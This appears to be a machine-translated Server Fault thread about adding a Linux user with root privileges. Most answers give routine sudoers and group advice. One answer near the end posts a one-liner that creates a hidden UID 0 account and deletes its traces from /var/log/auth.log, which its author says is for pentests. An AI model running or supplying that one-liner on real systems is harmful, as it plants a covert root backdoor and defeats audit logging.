เพิ่มผู้ใช้ใหม่ด้วยการเข้าถึงรูทใน Linux


31

ฉันต้องการเพิ่มผู้ใช้ใหม่และมี / ให้สิทธิ์ผู้ใช้รายใหม่เพื่อเข้าถึงรูททั้งหมดฉันจะทำอย่างไร

ฉันทำsudo adduser --system testuserแต่สิ่งนี้ไม่ทำงานตามที่คาดไว้

ขอบคุณที่ช่วยเหลือ.

คำตอบ:


62

จริงๆแล้วมีสามวิธีที่คุณสามารถทำได้: วิธีที่ถูกวิธีผิดและวิธีน่าเกลียด

ขั้นแรกให้สร้างบัญชีผู้ใช้ปกติ

adduser username

จากนั้นเลือกหนึ่งในรายการต่อไปนี้:


ทางที่ถูก

สร้างsudoรายการสำหรับwheelกลุ่ม/etc/sudoersดังนี้:

## Allows people in group wheel to run all commands
%wheel  ALL=(ALL)       ALL

หรือสำหรับเวอร์ชั่น "ทันสมัย":

## Allows people in group sudoers to run all commands
%sudoers ALL=(ALL)       ALL

จากนั้นเพิ่มผู้ใช้ไปยังwheelกลุ่ม ตอนนี้การเพิ่มและลบผู้ใช้ที่มีสิทธิ์การดูแลระบบจะกลายเป็นฟังก์ชั่นการจดจำเพื่อเพิ่มผู้ใช้ลงในวงล้อแทนที่จะสร้างรายการใน sudo สิ่งที่ดีเกี่ยวกับการใช้วงล้อคือคุณสามารถขยายกลไกนี้ไปยังแผนการรับรองความถูกต้องอื่น ๆ ที่สนับสนุนกลุ่มเช่น winbind / Active Directory และเก็บเกี่ยวผลประโยชน์ในกระบวนการ คุณจะทำสิ่งนี้ได้ด้วยการจับคู่วงล้อกับกลุ่มในสคีมาการตรวจสอบสิทธิ์ที่มีสิทธิ์ผู้ดูแลระบบ

โปรดทราบว่าการแจกแจงบางอย่างใช้บัญชีผู้ดูแลที่แตกต่างกัน ล้อเป็นวิธีการ "ดั้งเดิม" นี้ แต่คุณอาจพบadmin, admและบัญชีกลุ่มอื่น ๆ ที่มีวัตถุประสงค์เดียวกัน

แก้ไขการติดตาม:

ฉันต้องให้คะแนนกับBart Silverstrimเพื่อชี้ให้เห็นว่า Ubuntu ใช้adminเป็นกลุ่มเพื่อจุดประสงค์นี้ เขามาที่นี่ก่อนแม้ว่าฉันจะไม่ได้สังเกตแท็ก Ubuntu ในเวลานั้น อีกครั้งทุกอย่างขึ้นอยู่กับการกระจายที่คุณใช้


วิธีที่น่าเกลียด

สร้างรายการ sudo สำหรับบัญชีผู้ใช้ที่เป็นปัญหาและให้สิทธิ์การเข้าถึงที่สมบูรณ์ อีกครั้งคุณสร้างรายการใน/etc/sudoersลักษณะนี้:

## Allows just user "username" to run all commands as root
username    ALL=(ALL)    ALL

เพิ่ม: ## สำหรับเวอร์ชัน Ubuntu: ชื่อผู้ใช้ ALL = (ทั้งหมด: ทั้งหมด)

เป็นการดีถ้าคุณมีบัญชีปกติเพียงหนึ่งบัญชี (หรือสองบัญชี) มันน่าเกลียดเมื่อคุณมีบัญชีนับร้อยในหลาย ๆ ไซต์ (ธรณีฟิสิกส์) และต้องดูแลไฟล์ sudo อย่างต่อเนื่อง


ทางที่ผิด

คุณสามารถแก้ไขไฟล์และเปลี่ยนรหัสบัญชีผู้ใช้จากสิ่งที่จำนวนเป็นเพื่อ/etc/passwd 0ที่เหมาะสมเป็นศูนย์

username:x:0:502::/home/username:/bin/bash

ดูรายการที่สามว่าเป็นศูนย์หรือไม่ rootเมื่อคุณเข้าสู่บัญชีที่คุณมีเพื่อวัตถุประสงค์ที่มีประสิทธิภาพทั้งหมด ฉันไม่แนะนำนี้ หากคุณจำไม่ได้ว่า "ใคร" rootที่คุณอยู่คุณสามารถสร้างทุกชนิดของความเสียหายในขณะที่คุณเริ่มต้นสร้างและไฟล์สัมผัสเป็น คุณสามารถเพิ่มชื่อผู้ใช้ของคุณไปยังrootกลุ่ม สิ่งนี้มีผลเหมือนกันสำหรับการเข้าถึงไฟล์ แต่มันสร้างปัญหาอื่น ๆ โปรแกรมจะแจ้งให้ทราบคุณไม่ได้ใช้ rootและปฏิเสธที่จะทำงาน แต่คุณจะได้รับการเข้าถึงไฟล์ที่อยู่ในกลุ่ม root

หากคุณทำสิ่งนี้คุณใช้vipwแทนการแก้ไขด้วยviใช่ไหม (หรือเครื่องมือแก้ไขข้อความที่คุณชื่นชอบ) หลังจากพิมพ์ผิดในไฟล์นี้คุณสามารถล็อคคุณออกจากระบบของคุณ - และนั่นหมายถึงการเข้าชมคอมพิวเตอร์ที่มีปัญหาด้วยดิสก์ซ่อม ...


2
ฉันจะไม่แม้แต่เอกสารทางที่ผิด ต้องห้ามด้วย
elcuco

15
ฉันไม่เห็นด้วย. หากคุณซ่อนความผิดมันจะไม่หายไปมันแค่กลัว - และบางครั้งความรู้ที่ว่าบางสิ่งต้องห้ามดึงดูดความสนใจมากกว่าที่ควร ดีกว่าที่จะเข้าใจว่าทำไมมันถึงเป็นข้อห้าม โดยเฉพาะอย่างยิ่งเมื่อมีสถานการณ์ (หาได้ยาก) ซึ่งคุณอาจต้องการความรู้นั้น แต่ถึงกระนั้นฉันจะให้คุณชี้ให้เห็นว่าสิ่งเลวร้ายจริงๆสามารถ :)
Avery Payne

1
"หลังจากนี้การพิมพ์ผิดครั้งเดียวในไฟล์นี้สามารถล็อคคุณออกจากระบบของคุณ" - ไม่เป็นไรมันอาจล็อคคุณออกหลังจากที่คุณยกเลิกการเชื่อมต่อทั้งหมดของ Putty เซสชัน (สมมติว่าคุณใช้ Putty) ตราบใดที่คุณไม่ได้ตัดการเชื่อมต่อ แต่เพียงเปิดเซสชั่นอื่นเพื่อทดสอบการตั้งค่าของคุณคุณก็ถือว่าใช้ได้
quamis

1
@quamis - จริง แม้ว่าฉันจะพยายามชี้ให้เห็นถึงอันตรายในการสมมติว่ามันปลอดภัยที่จะ "ยิงและลืม" :) จุดสำหรับคุณเกินไปสำหรับการชี้ให้เห็นการปฏิบัติที่ดี - เสมอทดสอบการตั้งค่าในภายหลัง
Avery Payne

1
ฉันแค่ต้องการที่จะทราบว่าสิ่งที่เป็นกลุ่ม 'ล้อ' แบบดั้งเดิม (ที่มีระดับความสูงไบนารีระดับธง) ใน Unix ไม่เป็นคำทั่วไปสำหรับกลุ่มผู้ใช้ที่สามารถยกระดับด้วย sudo จากประสบการณ์ของฉันชื่อที่พบบ่อยที่สุดของกลุ่มคนที่สามารถ sudo ได้คือทุกวันนี้ 'sudoers' และติดตั้งในระบบส่วนใหญ่แล้ว
Bojan Markovic

3

ฉันใช้สิ่งนี้มานานหลายปีแล้วและเป็นวิธีที่# 1 แนะนำให้เพิ่ม sudoer ใน AskUbuntu :

adduser existinguser sudo

ง่ายกว่าการแก้ไขไฟล์และง่ายต่อการโยนลงในเชลล์สคริปต์สำหรับการติดตั้งแบบไม่ต้องใส่ข้อมูล

หากคุณต้องการสร้างผู้ใช้และให้สิทธิ์ sudo คุณสามารถทำได้ในหนึ่งบรรทัดดังนี้:

useradd newuser -m -G sudo
passwd newuser

-mสร้างโฮมไดเรกทอรีและ-Gระบุกลุ่มเพิ่มเติม



1

คุณอาจสร้างผู้ใช้ด้วย adduser ดู man adduser
หลังจากที่คุณสามารถเพิ่มลงในกลุ่มที่มีสิทธิพิเศษเช่นรูทหรือล้อ แต่ฉันคิดว่าวิธีที่แนะนำมากที่สุดในการขออนุญาตใช้ sudo


1

คุณสามารถทำได้:

#useradd -m -g root alex

มันสร้างผู้ใช้อเล็กซ์ด้วยไดเรกทอรีบ้านที่อยู่ในกลุ่มรูต


1

นอกจากคำตอบของ Avery Payne ใน Ubuntu คุณอาจต้องการ:

%sudo   ALL=(ALL:ALL) ALL

และไม่ชอบ:

%sudo    ALL=(ALL) ALL

0

วิธี "น่าเกลียดและยุ่งเหยิง" คือการแก้ไข / etc / passwd เพื่อให้มี UID = 0 AND GID = 0 สำหรับผู้ใช้ใหม่ แต่นี้ poses ความเสี่ยงมากการรักษาความปลอดภัย คุณรู้ไหมว่าถ้าเขารูทเขาอาจปิดการใช้งาน accont ของคุณเปลี่ยนรหัสผ่านทำให้คุณเป็น "ผู้ใช้มาตรฐาน" ... ใช่ไหม? ดังนั้นทำไมไม่เพียงให้เขาบัญชีคุณเอง?

คุณสามารถศึกษาวิธีที่ suid ( http://en.wikipedia.org/wiki/Setuid ) ทำงานหากคุณต้องการให้สิทธิ์เข้าถึงรูทแก่เขาด้วยคำสั่งเพียงไม่กี่คำ


-1

นี่คือหนึ่งซับ:

USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here"
&& sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 -- 
non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' 
/var/log/auth.log

ที่ดีที่สุด


1
การเพิ่มผู้ใช้เพิ่มเติมด้วย uid 0 ไม่ใช่ความคิดที่ดี ... ดูคำตอบด้วยคะแนนโหวตสูงสุดสำหรับรายละเอียด
Gerald Schneider

@ GeraldSchneider ฉันไม่เคยบอกว่ามันเป็นความคิดที่ดี ... ฉันตระหนักดี ... และโดยสุจริตมันไม่ใช่ความกังวลของเรา มันเป็นหนึ่งซับใช้มันใน pentests ตลอดเวลา ขอแสดงความนับถือ
Boschko
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.